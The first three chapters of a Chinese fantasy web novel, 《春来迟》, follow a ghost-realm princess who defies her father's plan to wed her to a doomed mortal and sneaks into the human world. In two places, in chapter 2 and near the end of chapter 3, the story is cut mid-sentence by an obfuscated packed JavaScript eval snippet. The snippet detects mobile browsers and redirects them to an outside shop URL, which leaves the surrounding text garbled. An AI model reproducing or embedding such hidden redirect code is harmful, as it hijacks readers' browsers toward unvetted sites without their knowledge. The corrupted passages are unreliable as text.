《春来迟》 1. 第 1 章 第一章 - 鬼界新落了一场雨。 身姿妖娆的人娉娉婷婷撑伞打那条细长的小路而过,春雨弥漫着水汽在她身后氤氲出成片的白雾。 “鬼王大人。”女子声音似黄莺初啼,虫鸣声与其应和,在空旷山谷里传得极远。 穿着黑衣的男子独自坐在水潭前,面前横着根竹条做成的鱼竿,面前水潭水面似一汪水镜,未曾涌起半点波澜。 听到女人的声音,男子方才悠悠抬起了眸,视线从那空无一物的鱼篓前匆匆一掠,而后落在了女子身上。 “今儿是初梨八百岁生辰,怎没见着这丫头?”男子慵懒起身,动作间优雅淡然,却不觉压了那美艳女子一头,叫那人通体的妖娆气息都淡下去几分。 “昨儿有不懂事的鬼将领着公主去冥河夜钓了,今儿还赖在房间里,未曾传出过动静呢。”女人停了停,向前小走了两步,素手微微一展,一道竹简便渐渐浮现在二人面前。 “鬼王大人,小公主的名字今儿在无名册上显形了。” 随着女人的动作,竹简渐渐展开。男人的视线落在了上面,双眸漆黑一片,在他眼中,那竹简上只落有陆梨初三个字,旁的却是在也看不见了。而女人则是补充道,“我施法瞧过了,这次公主的名字后面跟着另一个人的名字。” “梨初也八百岁了。”男人的声音略有些怅然,“是时候替她寻个夫婿,日后也好照料着他。” 女人张嘴正欲说些什么,不远处的小径却是传来一声枯枝被踩断的清脆响声,两人应声回望。只见那小径尽头站着个肤白貌美的姑娘。 “陆川!”那姑娘见被发现了,面上倒是没有半点惊惶。 一身鹅黄襦裙衬得她愈发水灵,只是张口所言满是骄纵,同她的样貌半点不符,“你又在同孟婆姑姑密谋些什么呢?” “陆梨初,过来。”万鬼之上,平日少有笑颜的陆川倒是难得温和了脸,伸手轻招,“你这丫头,又在没大没小了。” 只是这话听着是在教训面前明眸皓齿的小姑娘,语气里却听不出半点苛责,反倒多是宠溺。 只是陆梨初却是只做了个鬼脸,人却没有走到他身边去,反倒是挽住了一旁女子的手腕,“孟婆姑姑,今日是我生辰,你别在这儿对着这个人了,同我一道出去吧。” “去吧。”陆川见孟婆投来询问的目光,神色柔和,轻轻点头。 见鬼王大人点头了,孟婆方才低头看向依偎着自个儿的小姑娘,伸手轻轻点在她圆润的额头上,“今儿小公主又想玩儿些什么?” 一大一小两人沿着那悠长小径渐渐走出了山谷。 陆川收回了目光,他手中正平摊这先前孟婆递过来的纸张。 那纸张上本是空白一片,陆川右手轻抬,便有字迹隐隐浮现。 最先显露出来的,隐隐约约是宋渝舟三个字。而陆川却是看着这个陌生的名字略有些失神。 无论神佛妖鬼也好,寻常百姓也罢。 世上众生,便是小到虫蚁,都能从无名册上窥到生平种种。 无名册虽是无名,却是为世间生灵定下了天命。 更是因为有无名册的存在,便是神佛都要敬让鬼族三分。 只是这无名册虽是鬼族圣物,身为鬼王的陆川却是读不出无名册为众人所写的批命。在鬼族,唯有孟婆能看清无名册上所写之事。 而孟婆并不是一个人,而是鬼族的一个职位。上任孟婆死去之时,便自然而然会选出下一任孟婆。 如今坐在孟婆这个位置上的女子名为白娆,算起来,也在孟婆这位子上坐了快八百年了。 而她的上一任孟婆,正是陆川的妻子,陆梨初的母亲。 陆川展开的手掌微微阖起,方才完整的白纸则是化作齑粉从他指缝间落下。 - “娆姑姑。”陆梨初跟在白娆身侧,抬眸看着身旁女子发髻上叮当作响的白玉发簪,“你同陆川方才在说什么呢?” “公主。”白娆心头叹了口气,停下脚步,微微低头看向面前双眸灵动如鹿的小姑娘,“今日是您八百岁生辰,过了今日,便不再是小孩子了,不可再像如今这样没大没小,直呼鬼王大人的名字,那是您的父亲。您应当称呼他一声父王。” 陆梨初平日里最是听白娆的话,譬如白娆教她人前得喊她孟婆姑姑,不能喊她的名字,向来肆意妄为的陆梨初便只在人后才唤她一声娆姑姑。 可唯有在对待陆川这件事上,陆梨初犟得可以同那初成精的老黄牛一比,总是不肯给他一个好脸色。 见陆梨初嘴角微微下拉,一副你说与不说我都不会听的模样,白娆伸手轻轻替她理好被风吹乱的鬓角。 “公主,如今你也八百岁了,也是时候找个夫婿了。”白娆面目温和,声音更是柔和得能掐出水来,“今日我从无名册上窥见了你未来夫君的名字……” 白娆还愈说些什么,可面前的姑娘却是突然不满起来。 “娆姑姑,我同那什么无名册上说的未来夫君未曾互相了解,就要嫁给他么?”陆梨初眼眸中似有万千星光,她看向白娆,声音不算大,却又好似直直冲进了人的心里,“更何况,鬼族那些同我差不多年纪的妖鬼,我大多认识,我对他们并无半点儿女之情,即便这样也要听那无名册的安排,嫁过去么?” 白娆愣了愣,听到后半句时,却是笑着打断了陆梨初的话,“小公主,你那位命定的夫君,如今并不是妖鬼,而是个普通人。” 听了白娆的话,陆梨初非但未曾觉得心中疑虑被解答,反倒升腾起一股荒谬,“娆姑姑,寻常人寿数不过百年,百年于我不过弹指一挥间,怎么,这无名册是奔着让我守寡去的么?” “梨初,慎言!”见陆梨初愈发出言不逊,白娆不由硬了语气,只是对上那双执拗的眸子,却又不觉软了心肠,细细解释道,“我替你看过那宋渝舟的生平了,那宋渝舟只剩一年的寿数,他死后,却是不会入轮回,反倒是会成为鬼界新鬼,同你正是相配。” 鬼族的鬼大致可以分为两种,一是陆梨初这种父母俱是妖鬼,从出生时便是妖鬼了,在鬼族长大,许多这样的妖鬼,至死都不会离开鬼界半步。 而另一种,则是白娆方才所讲的,有一部分寻常人在死后无法再入轮回,可他们的魂魄却又强健不得消亡。这样的人便会成为鬼族的新鬼,从此在鬼界生活。 饶是白娆这般细细解释给陆梨初听了,她仍觉得荒谬,后退了两步,难得对着白娆行了个挑不出错的礼。 “孟婆姑姑,梨初先回了。”陆梨初语气有些生硬,顾不得白娆在她身后连唤了她三两声,依旧头也不回地朝着自个儿寝殿的方向走了过去。 她本就不爱过生辰,如今得知鬼王已经在着手将她嫁出去的事儿后,更是觉得今儿这日子着实是叫人恼火,出去玩乐的性子一下歇了,只板着脸快步走回寝殿。 “公主,您怎么这么早就回来了?”院子里,同陆梨初一到长大的小丫鬟从树后探出个脑袋,手里还抓着一把一看便是托鬼将从人间带回来的瓜果。 陆梨初瞪了瞪嘴上还沾着瓜子皮的紫苏,气鼓鼓地坐在了院中石凳上,也顾不上茶壶当中的茶水早就凉了,给自个儿灌了个水饱。 “紫苏你比我还大上小百岁,看来是时候给你嫁出去了,免得整日在我着院子里嗑瓜子,惹得那恼人黑鸦成日在我院里打转!”陆梨初放下了手中的茶盏,杏眼微瞪,吓唬着紫苏。 只是紫苏丝毫不害怕,旁人许是觉得鬼王的幼女甚是骄纵,远远比不上旁的寻常妖鬼那般讨人喜欢。 紫苏却是知道,自家公主虽嘴上从不饶人,一颗心却是难得的赤忱。更是从不将紫苏当做下人使唤,更多的是将她当做亲近的姐姐。 “公主,这是怎么了?”紫苏伸手摸了摸茶壶臂,见已然凉了,便端出茶台,想要再泡上一壶新茶。 陆梨初托着下巴,似是万分认真地瞧着紫苏泡茶,可紫苏却是知道面前的人并未再看自己的动作,而是沉溺于自个儿的世界里,在想些什么 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“鬼王大人。”紫苏忙放下了手中的东西,跪下行礼。慌乱间,还不忘扯扯陆梨初的裙摆,叫她赶紧转过身行礼。 只是陆梨初并不领情,仍旧好好坐在石凳上,甚至悠闲地给自己续上了一杯茶。 陆川的视线落在陆梨初的背上,开口说的话确实吩咐紫苏的,“紫苏,你先下去,我有话单独同公主讲。” “是。”紫苏低声应道,离开前还不忘像陆梨初递去眼色,只是端坐着的人似乎并未察觉到她的意思,没有半点想要服软的意思。 “梨初,今日是你八百岁生辰,晚上一道吃饭,有叔伯来看你……” 陆川话未说完,便被陆梨初冷硬地打断,“不去。” “梨初,叔伯们也是想来瞧瞧你,一番好意。” “好意?”陆梨初坐直了身子,看向陆川时不像是在看自己的父亲,反倒像是在看仇人一般,“我不因他们逼死母亲而对着他们动刀已是顾念亲情了,他们倒也不必上赶着找死!” 啪—— 陆梨初的脸歪向了一边,她的舌头抵在口腔内侧,右脸上传来火辣辣的痛感。 陆川有些不敢置信地看向自己扬起的右手,那悬停在半空中的手似乎还在微微颤抖着。“大逆不道!” “难不成母亲不是被他们逼死的么?”陆梨初眼前的事物分裂成了一块又一块的碎钻,眼泪夺眶而出,可她的声音却十分冷静,“我偷看了母亲留下的记忆,母亲就是被他们逼死的。” 陆川看向陆梨初,手指微微蜷起,向前送了半厘,似是想要去抚摸陆梨初泛红的脸颊,“梨初……” “陆川,母亲生我时落下病根,病重时却叫那些叔伯逼迫至死。”陆梨初松开了捂在脸颊上的手,左侧脸颊上,红色的指印格外刺眼。 “陆川,你这个鬼王做得窝囊至极!”陆梨初缓缓眨了眨眼,面前事物渐渐变得清晰,陆川脸上的神情更是半分不落地落进了她的眼中。 “你母亲的事早就过去了。”陆川放在石桌上的手微微颤抖着,他用力攥紧了拳头,“白娆已经将宋渝舟的生平递上来了,我替你仔细瞧过,宋渝舟少年成才,却是不骄不纵,是个不错的选择,明年待他身死,魂魄落入鬼界,我便会着手你们的婚事。” 陆川停了停,继续道“这一年多的时间,你便呆在寝殿了,好生绣你的嫁衣吧。” 陆川站起了身,似是觉得方才语气太过,不由放缓了语气,缓缓道,“你若不愿见那些叔伯,今日便不用去吃饭了,我会让人送些你爱吃的来。” 陆梨初未曾开口,直到陆川快要踏出院子时,才道,“陆川,你说无名册上我同那姓宋的天造地设,那我同他不是会同你和母亲一样?天造地设,不得善终?” 陆川跨出院门的脚微微一顿,终是未曾回头再说什么,走了出去,只余陆梨初一人坐在院中,任由一阵风刮过,梨花落了满头。 2. 第 2 章 第二章 - “公主!”陆川尚未走远,一直侯在院落外的紫苏忙小步跑了进来,刚瞧见陆梨初脸上的红痕,方才还在说说笑笑的小丫鬟登时红了眼睛,“鬼王大人怎么能动手呢?奴婢给您取帕子来敷一敷。” 陆梨初不甚在意地伸手揉了揉依旧隐隐作痛的脸颊,“怎么又在自称奴婢了?我的地盘没有这些虚礼,不像有些人装模作样。” 清风将陆梨初的话递出了院子,紫苏下意识望向鬼王陆川的背影,抿了抿唇,小声劝慰着,“公主,用冰帕子敷着红印退得快些。莫要再惹鬼王大人生气了。” 陆梨初垂下了眼眸,没再说话。 紫苏瞧着她一副抗拒的模样,叹了一口气,只得自个儿退出去取来了帕子,替陆梨初小心翼翼地敷着脸颊。 “公主莫要不开心了,今儿您的生辰,云辞大人应当会赶回来。”紫苏见提及云辞时,陆梨初脸上神情软了两分,心头松了一口气,“我下去给公主做些点心吃。” 陆梨初点了点头,伸手接过了紫苏手中的冰帕子,自个儿按在了脸上,说话时有些含混不清。“那要水晶糕。” 紫苏见陆梨初还有心情想着要吃什么糕点,不由松了口气,浅笑道,“是,莫说是水晶糕,今儿公主想吃什么,我都给您做来。” 水晶糕需将糯米浸泡、研磨、搡捣,直至成浆后上锅蒸至糕体破裂成花,说起虽简单,但做起来却是繁琐耗时,眼瞧着日头渐渐行至半空,紫苏不再同陆梨初闲聊,而是转身走向了后院的小厨房。 陆梨初的下巴搁在石桌上,身后梨树茂盛,白色梨花开满枝头,叫人看着有些晃眼。 鬼界风多,每每一阵清风而过,白色梨花便似雪般噗簌簌落下,清幽梨花香萦绕在鼻尖,恍惚间,陆梨初便睡了过去。 “梨初。”清雅男声缓缓响起,陆梨初在梦境中似远似近,而那一声轻唤却是叫她渐渐落在了实处。 陆梨初缓缓睁开眼,石桌前站着的男子正含笑望向她。 “云辞,你回来了!”陆梨初起先还有些茫然,却在看清面前人的脸后甚是欢喜,猛然抬起头来,“这次又带了些什么新奇的玩意儿?” 云辞正欲伸手进怀里,只是瞧见面前女子因动作太急而略有扭曲的脸不由无奈放缓了动作,“东西还能跑了不成?这般急急躁躁。” 陆梨初揉着发麻的手臂,脸颊微微鼓起,一双眼睛微微睁圆,瞪着云辞。 云辞却是不恼,轻笑着放下了手中的玩意儿,那是个木雕的小马车。陆梨初歪着头端详许久,又伸手摆弄许久也没看出这小马车有什么特别的地方。 “云辞,你如今眼光不行了。”陆梨初放下了手中的小马车,颇为嫌弃地摇了摇头,“这次就带回来了这么个小玩意儿?” 云辞并未答话,只是伸手拿起了那小马车,只见他修长的手指随意摆弄两下那马车车轮,再将小马车放回石桌上时,原本平平无奇的小马车竟是慢慢动了起来。 “这是我特地请人间擅长机括的匠人做的,送你的八百岁生辰礼物,喜欢吗?” 陆梨初原本正仔细盯着那缓慢移动着的小马车,听到云辞的话,眨了眨眼,鸦羽般浓密的睫毛微微下垂着,饶是云辞也瞧出了面前的人情绪不佳。 “这是怎么了?”云辞缓缓撩起衣摆,坐在了石桌对面。“这鬼族中竟是有妖鬼敢惹我们梨初小公主不开心?” “云辞。”陆梨初抬眸看向面前的男子,竟是难得的正色。 云辞见她这副模样,心头一滞,只觉得面前这在自己眼皮下慢慢长大的小姑娘,似是要做出什么惊天骇俗的事了。 “我想偷偷去一趟人世。” 果不其然,陆梨初的话如同一道惊雷,落在了云辞心头,叫他一时间不知该说些什么。 见云辞不曾像从前那样对自己提出的事儿立马答应,陆梨初脸上带了一丝焦急。 “云辞,我不是贪玩儿去人世。”陆梨初说话时很急,生怕慢半步便会被面前的人拒绝。“陆川那家伙想按照无名册上写的将我嫁个人世一个很快就英年早逝的小子。” “我想着,若是那小子在人间便有了妻房,应当就算不上什么良缘了。” 云辞看着陆梨初,久久未曾开口,直到陆梨初脸上的焦急几乎要漫出来了,他才缓缓道,“梨初,你不用解释这般多。” 云辞向来澄澈的双眼却是微微下垂,好似蒙上了一层白雾,“我只是在想,怎么做才稳妥。” 听到云辞的话,陆梨初紧提着的那口气才渐渐松了,她重新坐回石凳上,视线落在了小马车上,缓缓点头,“是该好好想想,不然叫陆川知道了,又该搅局了。” 云辞未曾接话,两人安静了下来,只剩那飘散的梨花落在他们的脚下,花汁沁入土里,又粘在他们的鞋靴之上。 不知过了多久,紫苏端着刚做好的水晶糕走了过来。 “云辞大人,您回来了。”紫苏将手中糕点放在了石桌上,行了一礼,而后转向陆梨初,“公主,糕点得趁热吃,凉了便不如现下松软。” “嗯。”陆梨初有些心不在焉,紫苏正奇怪着,正欲开口询问呢,云辞却突然开口说话。 “梨初,若是要偷去人世,得要紫苏帮你。” “什么?偷去人世?”紫苏听了云辞这话,险些未曾站稳,她略带焦急的目光扫过陆梨初,见陆梨初脸上隐隐现出喜意,知晓这小公主打定了主意,再怎么劝都改变不了了,无奈只有看向一旁的云辞。 “云辞大人。”紫苏原本还有些怯意,云辞虽说年岁比她们大不了多少,却已经行走各界不少年了,如今更是鬼王手下得力干将,手中更是有不少听命于他的鬼将。是以紫苏虽常同陆梨初没大没小,在云辞面前却多是缩着脑袋,不敢惹到他,可想到陆梨初,紫苏也顾不上旁的了,鼓起勇气同云辞对视上。 “公主她不知外头险恶,想一出是一出便罢了。”紫苏越说,心中底气越足,连带着声音都大了不少,“您平日稳重,怎么今儿也跟着公主胡闹起来了?若是公主出了岔子该怎么办?您便是用命去赔,也没有半点用处。” “紫苏。”见紫苏越说越离谱,陆梨初开口拦住了她,“是我想要去人世,若是云辞不帮我,我也是会想法子自己去的。” “公主!”紫苏回眸看向身后的人,正欲说什么,却发觉陆梨初眼眶依旧微微泛着红。 “紫苏你应该明白,我不会听任陆川安排,人世这一趟,我去定了。”陆梨初看向云辞,“云辞,你方才说需要紫苏帮忙,是想到什么法子了吗?” 云辞定定看着陆梨初,缓缓点头道,“我行走各界,偷带出去一个人并不是什么难事,但是梨初,你以往在鬼界可不是什么能安静呆在院子里的性子,得有一个人假扮成你,好叫旁人发现不了端倪。” “可是紫苏一个人留在鬼界假扮我,如果被发现了该怎么办?”陆梨初还未来得及开心,便又忧心起来,“我去人世迫在眉睫不假,可也没有叫紫苏替我背锅的道理。” 云辞心中轻叹一口气,“那便只有你一个人去人世,我将你送过去后便回到鬼界,陪在紫苏身边,有我在,应当能护住她一二。” “这怎么能行。”紫苏满脸焦急,“公主她从未离开过鬼界,如今你叫她独自一人去人世,太危险了。” 云辞未曾说话,他抬眸看向陆梨初,若是要云辞说,自然还有旁的法子。既然只是不想受到无名册上的安排,那便将那小子挫骨扬灰了,魂飞魄散后,无论无名册上如何写,陆梨初都无须嫁给那小子了。 只是云辞不曾说这法子,是知道陆梨初不会同意。 “紫苏,不用担心。”陆梨初轻轻晃了晃脚,脚踝上铃铛声清脆悦耳,“我虽从未离开过鬼界,但好歹也是鬼族公主,地底幽魂俱听命于我的铃铛,想来人间没有人能伤到我分毫。” 铃声叮当,紫苏面上仍旧纠结,却是不知该再说些什么了。陆梨初见安抚住了紫苏,抬眸看向云辞,“什么时候能送我去人世?” 云辞眉眼微弯,“总得容我准备一番,你想接近那小子,总要有个合适的身份,待一切办妥我来找你。” “那你快去呀。”陆梨初迭声催促着,等人走出去半步又觉得自己这般赶人着实算不得礼貌,忙伸手从盘子里拿出一块温热的水晶糕,塞进了云辞怀里,“我等你来找我。” 云辞感受到手掌中的温热,目光微滞,低头看向身侧的小姑娘,轻声应道“好。”他嗓子有些干涩,话音里却是听不出来,“你乖乖等我回来。” 送走了云辞,陆梨初方才了了一件心事,坐回石凳上,兴致勃勃地把玩起小马车来。 只剩一旁的紫苏依旧满脸愁容,似是仍想开口劝她。 陆梨初余光瞥见紫苏苦着长脸,放下了手中的东西,“紫苏,你怎么瞧着比我还心事重重?” “公主,我思来想去,还是觉得这法子不妥。”紫苏袖口处的布都被她掐得皱成了一团,一对柳叶眉蹙起,“也许那个人世的公子同您的确相配呢?” 见陆梨初脸上的笑淡了两分,紫苏眉心皱得更紧了,“退一万步讲,人世的那位公子同您并不相配,您想法子干涉了他的命运,那便是在同无名册对抗。万一……” “紫苏,那不过是一册竹简。”陆梨初打断了紫苏的话,“再说了,我又不是要强逼那小子在人世时娶上一房妻妾。” “我只是会想法子叫他同旁的姑娘有那么一丝丝,”陆梨初伸出两个指头,捏在一起比划给紫苏看,“一丝丝联系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁给你的胆子,在我面前说话。”长鞭在空中利落地散开,带出一道凌厉的风来。 紫苏脸色微白,她从未习武,即便身为妖鬼也只会一些变出花草的小法术,如今对上那长鞭更是躲不过去。 紫苏强忍着心头骇意,闭目昂头,等待着长鞭落在自己的脸颊上,只是过了许久,想象中的疼痛并未到来,紫苏缓缓睁开眼才发觉,方才还坐在石凳上的陆梨初赫然拦在了自己面前。 穿着鹅黄色襦裙的姑娘伸出一只手,稳稳接住了那长鞭。 和漾见状更为气恼,欲意抽出长鞭,故技重施。 只是陆梨初虽看着娇娇弱弱的,可手上力气却是半分不输和漾,和漾几次发力都未能抽出鞭子。 陆梨初回头看了眼脸色煞白的紫苏后视线重新落回了和漾身上。 “胆子挺大,敢对着我的人动手。”陆梨初握住长鞭末端的手微微收紧,歪着脑袋看向万分气恼的和漾,“可惜了,紫苏长得甚合我心意,你却想在她脸上留下一道疤痕——” 话音骤然落下,陆梨初手上猛然发力,和漾一时不察被她抢去了长鞭。 哗—— 长鞭在空中被陆梨初都散开来,和漾眸光紧缩,下意识想要向后退去。 只是一道铃铛声落入耳中,和漾只觉脚下如有千斤重,低头去看,那长相骇人的地底恶鬼竟是伸出爪子狠狠抓住了脚踝。 “那我便也在你脸上落下一道疤痕吧——”陆梨初的声音轻轻飘进了和漾的耳里,和漾大惊,伸手掩面大呼道,“陆梨初,你敢!我一定会禀明鬼王大人——叫他好好教教你这个没有教养的丫头片子!” 若是和漾此时睁着眼睛,便能瞧见那向自己袭来的长鞭落出是肩头而不是面颊,而长鞭上更是没有半分力气。 只是随着她的话音落下,陆梨初脸上狭促的笑登时消失了,只见她手腕轻抖,原本软软的长鞭登时犹如青龙昂首,带着千钧的力道,落在了和漾肩头。 “陆梨初,我同你势不两立!”肩上的疼痛叫和漾双目赤红,猛然从腰间拔出一把匕首,便欲刺向陆梨初。 “都给我住手!”云辞的声音突然响起,凌厉不容阻止的鬼气阻止了和漾的动作,横在了两人中间。 “云辞哥哥。”和漾见到云辞,伸手按住了伤口,眼中含泪,“陆梨初她动手打我。” 云辞的视线从和漾身上一闪而过,落在了一旁毫不在意看向自己的陆梨初身上。 云辞略有些无奈地叹了一口气,正想找个借口将这事儿翻个偏。一道声音骤然响了起来,场上几人纷纷僵了身子。 “陆梨初,我真是惯得你无法无天了!” ——是鬼王陆川。 众人抬眸去看,鬼王陆川站在众妖鬼前方,面色难看。 3. 第 3 章 第三章 - 和漾肩上的伤口说不得多深,可涌出的鲜血却是染红了半边裙衫,看着好不骇人。 陆川阴着一张脸,无人敢在他面前多言。 见到陆川,陆梨初缓缓站直了身子,面上的神情却是没有半分收敛。 陆源站在陆川身侧,脸上青一阵白一阵,活像生吞了只苍蝇一般。许久后,方才开口吩咐站在一旁不敢抬头的下人,“还不去替姑娘包扎?” 突然被点到名的小妖鬼慌忙跑向和漾,路上险些叫小石子绊倒。 云辞瞧着面前情景,眉心微皱,不动声色地走了两步,将陆梨初护在了身后。 只是被他护在身后的人似是并不领情,伸手轻轻推在了云辞的肩头。 陆梨初并未看向云辞,一双小鹿眼望着鬼王陆川,一错不错。 “还不滚过来,同你叔父下跪认错?!”陆川冷冷开口,看向陆梨初的双眸中似是满是失望,“平日里你胡闹便罢了,如今是谁教你骨肉相残,同室操戈?” 陆梨初垂下眼眸,似是轻笑一声,向前两步,俯身捡起了方才从和漾手中落在地上的匕首。 她细细端详着寒气逼人的刀刃,再次抬头看向陆川时,粲然一笑,“父王,女儿在和漾肩上留了道口子,还给她便是。” 听到陆梨初的话,云辞脸色微变,登时想要上前想要阻止她的动作,可却是晚了,陆梨初手起刀落,那柄匕首便整个没入了她略显单薄的肩头。 陆梨初面上神色未曾有半点变化,只是眼尾略有些泛红。 陆川下意识上前两步,余光却是瞥见了扑在陆源怀里哭得梨花带雨的和漾,硬生生止住了步子。 “紫苏。”陆川逼迫自己将视线从陆梨初肩头伤口处移开,只是生硬地开口,“领着公主回院子。” 紫苏早在陆梨初刺伤自己时便扑了上去,一双手颤颤在伤口处比划着,听到陆川的声音,难得未曾应他,只是低着头,肩膀微微耸动着。 陆川并未在意紫苏的态度,他看向一旁脸色微白的云辞,“守着公主,这一年不许她踏出院子半步,也不许任何人来看他。” 云辞眸光微闪,陆川继续补充道,“便是孟婆来了,也不许她踏进这院子半步。” “是。”云辞轻轻行一礼,“微臣领命。” 话音落下,身长如竹的男子轻摆衣袖,俯身搀扶住了陆梨初。 院门缓缓落下,陆川紧绷的肩头微松,转身看向陆源,“梨初她被我惯坏了,难为和漾了,我这边差人唤鬼医来,替和漾好生清理伤口。” “不用这般麻烦了。”陆源拍了拍和漾的背,脸上神色略微缓和下来,“这点小伤用不着鬼医。只是兄长,恕我逾矩,自打鬼王妃逝世后,您便一直一个人,梨初这丫头身边也没有一个能教她规矩的……” 陆川抬眸看向自己的胞弟,声音冷清,“这事日后再说吧。” “是。”陆源见陆川变了脸色,忙敛眉称是,一行人跟在陆川身后浩浩荡荡地离开,只剩陆梨初的小院仍旧矗立在原地。 紫苏红着眼替陆梨初处理着伤口。 方才匕首尚未拔出来时,不见有多少鲜血涌出来,可如今那匕首被丢在了一旁的石桌上,陆梨初伤口处的衣衫很快就被浸湿了。 “你太莽撞了。”云辞皱眉看着脸色苍白的陆梨初,语气中满是不赞同。 陆梨初眉头微皱着,一双眼睛泛着水意,“你这般快就回来了,人间的事情都安排好了?” 云辞望向那柄带有血槽,一看便是为了取人性命而去的匕首,声音微冷,“安排好了,只是梨初……” “那我便去收拾收拾。”陆梨初猛然站起了身,却牵扯到了肩膀处的伤口,疼得倒吸了一口冷气。 “梨初。”云辞下意识伸手握住了陆梨初纤细的手腕,只是在对上女子那双眼睛时,云辞缓缓松开了手,“如今这情形,你早些去,就当散心了。” 三人中似乎只有紫苏一直提心吊胆,惴惴不安。脸上带着浓重化不开的惆怅。 只是陆梨初偷溜去人间的事儿却是板上钉钉了。 原先云辞还在犹疑,只是在见到陆川同陆梨初相处时那剑拔弩张的氛围时,那点子犹疑便也消失了。 近些年里,陆梨初同鬼王陆川的关系愈发紧张,如今陆源同和漾又一道回了鹤城,那和漾同陆梨初最是不对眼,与其叫陆梨初留在鬼界成日被这些事情烦扰着,不若随了她的心,就算改不了无名册上所写,能暂时离了这些烦忧也算好事一桩。 陆梨初很快便收拾好了东西,紫苏见状更是泪眼汪汪。 云辞见陆梨初从里屋走了出来,右手在空中轻轻一捞,一缕亮光落在了紫苏肩头。 而正拉着陆梨初,双目缀满水雾的女子却是身形渐渐变得模糊,慢慢变成了陆梨初的模样。 陆梨初微微睁大了眼睛,细细打量着同自己如出一辙的紫苏,满眼惊喜,“紫苏如今的模样,连我都认不出是假的。”她回头望向云辞,眉宇间带了笑,“多谢。” 云辞微微敛眉,未曾同面前面容迭丽的女子四目相对,“你我之间,何须言谢。” 离开鬼界去往人间的路上,要经过鬼将的层层检查。若是陆梨初一人,莫说离开鬼界,怕是连鹤城都未能离开便被抓着押送下去,治个私自潜逃的罪了。 但有云辞在便不一样了,守城鬼将俱是云辞手下,而他又最常在人间行走,自然不会有不长眼的拦住马车检查。 离开鹤城后,马车的速度便快了许多。 陆梨初掀起车帘一角,探头望去,鹤城被远远地甩在了身后。 放下车帘后,陆梨初似乎有些怅然,但脸上的落寞神色却是一闪而过,她眨了眨眼看向云辞,“云辞大人如今还真是位高权重,一路上都不敢有人拦你的马车。” “梨初。”云辞轻唤一声陆梨初的名字,似是在叫她莫要打趣自己。 陆梨初却只是笑,圆眼微弯如明月。 云辞看着她有些无奈地从怀里掏出一块长形的玉条。 那玉条通透瞧着便价值不菲,陆梨初接到手中,细看才发觉在玉条下方刻有云字。 “人世不比鬼界,吃穿用住处处需要银钱。你拿着这玉条便能从银号里取出钱两。”云辞神色温和,细细道,“我虽给你安排了个陆家幺女的身份,可到底不是在鬼界,有玉条在,我安排在人世的人也好妖鬼也罢都会照拂你两分。” “初梨。”云辞看着面前对万物好奇的女子,轻叹道,“你同鬼王大人是父女,血浓于水,没什么解不开的心结。” “这次你便当换个地方散散心,待心中气消了就回来。” 陆梨初脸上的笑意淡下去两分,而闲谈间,马车也停了。撩起车帘望去,入目已然是同鹤城大不相同的景色。 在鬼界同人间的交界处,是个镇子。 是世间独有的人鬼共存的镇子。云辞的马车便停在了镇中心的街上。 街上行人神色匆匆,即便那拉车的是只泛着黑雾的骷髅马也不曾有人抬眸想要看个分明。 云辞掀开车帘,伸手想要扶着陆梨初下马车,只是车内的人侧身避开了他的手,干净利落地跳了下来。 动作间,发间珠钗叮铃作响,叫云辞的注意力有那么一瞬的涣散。 “从这儿出去,便能到黎安。”云辞伸手在空中轻轻一划,原本空无一物的青石墙上便隐隐出现裂缝。“照顾好自己。”云辞又从怀里掏出一块尚带有体温的玉佩,小心翼翼地挂在了陆梨初腰间。 “不要将这玉佩取下来,有玉佩在,若你出事我便能第一时间知晓。” 陆梨初点了点头,往前两步,消失在了那出现裂缝的青石墙上。 在她小时候,那青石墙上的裂缝便渐渐消失了,恍若从未出现过一般。而云辞却是愣在原地,看着那恢复如初的石墙站了许久, 他掌心中,仍残留有陆梨初身上的气息。 不知怎的,云辞心中那股荒谬的情感愈发浓重,他略有些不解地缓缓眨眼,似是不明白,为何自己目送着视若亲妹的陆梨初离开,心头变得空空落落的。 陆梨初是闭着眼走进那缝隙的。 平日里她一副天不怕地不怕的模样,可没人知晓,她最是怕黑。 待到耳边响起鸟鸣,陆梨初紧闭的眼睛才缓缓睁开了一条缝。 入目便是绿意匆匆,灼目日光。 陆梨初睁开了眼,细细打量着四周。 应当是黎安城旁的山头。眺目远望,隐隐约约能瞧见藏在山脚下,影影绰绰的黎安城城墙。 只是瞧着近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282691|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在咫尺,陆梨初却是走了半个时辰也没见离那城墙近上半分。 好在陆梨初也不心急,一路上采花补蝶,倒也丝毫不觉得路途遥远。 人世风景同鹤城大不相同。 鹤城虽也有绿叶红花,可多数会跑会跳的俱是黑色。 像是黑鸦,黑蝶。 可这山中蝴蝶却是五彩斑斓,叫陆梨初一时转不过眼来。 在看那窸窸窣窣动着的绿色蚱蜢,陆梨初放慢了步子,小心翼翼地转到那蚱蜢身后,猛地前扑。 只可惜,那蚱蜢反应迅猛,不等陆梨初靠近,便弹跳两下,消失在了翠绿当中,反倒是陆梨初因着重心不稳,栽了下去。 山道虽算不得多么陡,却是有着弧度,陆梨初随着那力道滚出去许久方才撞上了棵大树,停了下来。 陆梨初被这一撞,撞得头晕眼花,过了许久,才扶着腰撑着树站了起来。 鹅黄色的衣服也被地上枯枝石子划了许多道口子。不等她从身上的疼痛中缓过神来,一声刺耳的笑响起。 “哟,大哥,咱们今儿个可真是运气好,天上掉下来个细皮嫩肉的娘们儿。” 陆梨初循声望去,这才发觉不远处的官道上,十来个手中提刀的大汉望向自己。 而在他们面前,却是躺了一地的尸体。 陆梨初微微皱眉,鼻尖的血腥味儿愈发浓烈起来。 